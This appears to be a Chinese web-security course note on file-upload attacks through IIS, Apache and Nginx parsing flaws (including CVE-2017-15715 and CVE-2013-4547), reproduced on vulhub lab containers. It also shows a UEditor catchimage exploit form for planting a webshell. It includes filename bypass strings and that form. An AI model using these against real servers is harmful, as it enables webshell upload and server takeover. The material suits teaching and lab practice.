day33WEB 攻防-通用漏洞&文件上传&中间件解析漏洞&编辑器安全

目录

一,中间件文件解析漏洞-IIS&Apache&Nginx

[-IIS 6 7 文件名 目录名](#-IIS 6 7 文件名 目录名)

[-Apache 换行解析 配置不当](#-Apache 换行解析 配置不当)

1、换行解析-CVE-2017-15715

[2、配置不当-.htaccess 配置不当](#2、配置不当-.htaccess 配置不当)

[-Nginx 文件名逻辑 解析漏洞](#-Nginx 文件名逻辑 解析漏洞)

1、文件名逻辑-CVE-2013-4547

[2、解析漏洞-nginx.conf 配置不当](#2、解析漏洞-nginx.conf 配置不当)

[二,Web 应用编辑器-Ueditor 文件上传安全](#二,Web 应用编辑器-Ueditor 文件上传安全)

[三,实例 CMS&平台-中间件解析&编辑器引用](#三,实例 CMS&平台-中间件解析&编辑器引用)


配套资源下载(百度网盘):

链接:https://pan.baidu.com/s/11Q9sAPQ9P_ReOP9PKL0ABg?pwd=jgg4 
提取码:jgg4

本章节知识点:
1 、中间件安全问题
2 、中间件文件上传解析
3 、 Web 应用编辑器上传
前置知识:
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码 ( 解析漏洞除外 )
如: jpg 图片里面有 php 后门代码,不能被触发,所以连接不上后门
如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还
有 .user.ini&.htaccess
文件上传漏洞测试思路和步骤
1,看中间件是什么,有没有报出过漏洞
2,看文件上传是引用外部的编辑器还是程序员自己编写,如果是引用外部的编辑器就看是什么编辑器,然后查看此编辑器有没有爆出过漏洞,是否可以利用
3,如果是程序员自己编写,那就根据代码逻辑黑盒测试

一,中间件文件解析漏洞-IIS&Apache&Nginx

-IIS 6 7 文件名 目录名

1 、文件名: x.asp;.x.jpg
2 、目录名: x.asp/x.jpg
3 、 IIS7.X 与 Nginx 解析漏洞一致
漏洞利用条件:
1,是这中间件
2,上传文件能不能修改上传目录或者上传的文件名能增加命名
如果上传的文件名固定或者目录也无法修改,那么这个解析漏洞就无用武之地

-Apache 换行解析 配置不当

1、换行解析-CVE-2017-15715

漏洞环境:https://vulhub.org/#/environments/httpd/CVE-2017-15715/
其 2.4.0~2.4.29 版本中存在一个解析漏洞
漏洞利用条件:
1,是这个中间件
2,黑名单验证(在黑名单的后缀不让上传php jsp等),就可以通过php%0a绕过黑名单,但是需要保证这个后缀是能够正常解析的脚本代码。如果是白名单可能不行(在白名单里面才可以上传jpj,png,gif 等),但是如果没有考虑以最后一个点为后缀,通过1.jpj.php%0a的形式也可能能够绕过。
漏洞复现
启动靶场

xiaodi@ubuntu:~/vulhub-master/httpd/CVE-2017-15715$ sudo docker-compose build
xiaodi@ubuntu:~/vulhub-master/httpd/CVE-2017-15715$ sudo docker-compose up -d


上传一个名为1.php的文件,被拦截:

在1.php后面插入一个 \x0A(注意,不能是 \x0D\x0A,只能是一个 \x0A),不再拦截:

访问刚才上传的 /1.php%0a,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞:

关闭靶场

xiaodi@ubuntu:~/vulhub-master/httpd/CVE-2017-15715$ sudo docker-compose down
2、配置不当-.htaccess 配置不当

漏洞环境:https://vulhub.org/#/environments/httpd/apache_parsing_vulnerability/

AddHandler application/x-httpd-php .php
在有多个后缀的情况下,只要一个文件含有 .php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
漏洞利用条件:
1,是这个中间件
2,文件名需要基于本地命名为准(就是文件上传后文件名不会被修改)
漏洞复现
启动靶场

xiaodi@ubuntu:~/vulhub-master/httpd/apache_parsing_vulnerability$ sudo docker-compose build
xiaodi@ubuntu:~/vulhub-master/httpd/apache_parsing_vulnerability$ sudo docker-compose up -d

环境运行后,访问http://your-ip/uploadfiles/apache.php.jpeg即可发现,phpinfo被执行了,该文件被解析为php脚本。

http://your-ip/index.php中是一个白名单检查文件后缀的上传组件,上传完成后并未重命名。我们可以通过上传文件名为xxx.php.jpgxxx.php.jpeg的文件,利用Apache解析漏洞进行getshell。

关闭靶场

xiaodi@ubuntu:~/vulhub-master/httpd/apache_parsing_vulnerability$ sudo docker-compose down

-Nginx 文件名逻辑 解析漏洞

漏洞利用条件:符号中间件即可测试

1、文件名逻辑-CVE-2013-4547

影响版本: Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
漏洞环境:https://vulhub.org/#/environments/nginx/CVE-2013-4547/
漏洞复现
启动漏洞

xiaodi@ubuntu:~/vulhub-master/nginx/CVE-2013-4547$ sudo docker-compose build
xiaodi@ubuntu:~/vulhub-master/nginx/CVE-2013-4547$ sudo docker-compose up -d

这个环境是黑名单验证,我们无法上传php后缀的文件,需要利用CVE-2013-4547。我们上传一个"1.gif ",注意后面的空格:


访问 http://your-ip:8080/uploadfiles/1.gif[0x20][0x00].php,即可发现PHP已被解析:

关闭漏洞

xiaodi@ubuntu:~/vulhub-master/nginx/CVE-2013-4547$ sudo docker-compose down
2、解析漏洞-nginx.conf 配置不当

漏洞环境:https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/
由此可知,该漏洞与 Nginx 、 php 版本无关,属于用户配置不当造成的解析漏洞。
漏洞复现
启动漏洞

xiaodi@ubuntu:~/vulhub-master/nginx/nginx_parsing_vulnerability$ sudo docker-compose up -d

访问http://your-ip/uploadfiles/nginx.png

访问http://your-ip/uploadfiles/nginx.png/.php

关闭漏洞

xiaodi@ubuntu:~/vulhub-master/nginx/nginx_parsing_vulnerability$ sudo docker-compose down

二,Web 应用编辑器-Ueditor 文件上传安全

利用代码:

<form
action="http://192.168.46.139/net/controller.ashx?action=catchima
ge" enctype="multipart/form-data" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p>
<input type="submit" value="Submit" />
</form>
相关推荐
WSY88x13 分钟前
重塑支付安全:区块链技术引领下的积分系统革新
安全·区块链
kinlon.liu37 分钟前
零信任安全架构--持续验证
java·安全·安全架构·mfa·持续验证
dot.Net安全矩阵1 小时前
.NET内网实战:通过命令行解密Web.config
前端·学习·安全·web安全·矩阵·.net
sec0nd_2 小时前
1网络安全的基本概念
网络·安全·web安全
AORO_BEIDOU2 小时前
防爆手机+鸿蒙系统,遨游通讯筑牢工业安全基石
5g·安全·智能手机·信息与通信·harmonyos
网安CILLE3 小时前
2024年某大厂HW蓝队面试题分享
网络·安全·web安全
棱镜七彩3 小时前
供方软件供应链安全保障要求及开源场景对照自评表(下)
安全·开源
永乐春秋3 小时前
WEB攻防-JavaWweb项目&JWT身份攻击&组件安全&访问控制
安全
小黑爱编程3 小时前
【LInux】HTTPS是如何实现安全传输的
linux·安全·https
问道飞鱼4 小时前
分布式中间件-Pika一个高效的分布式缓存组件
分布式·缓存·中间件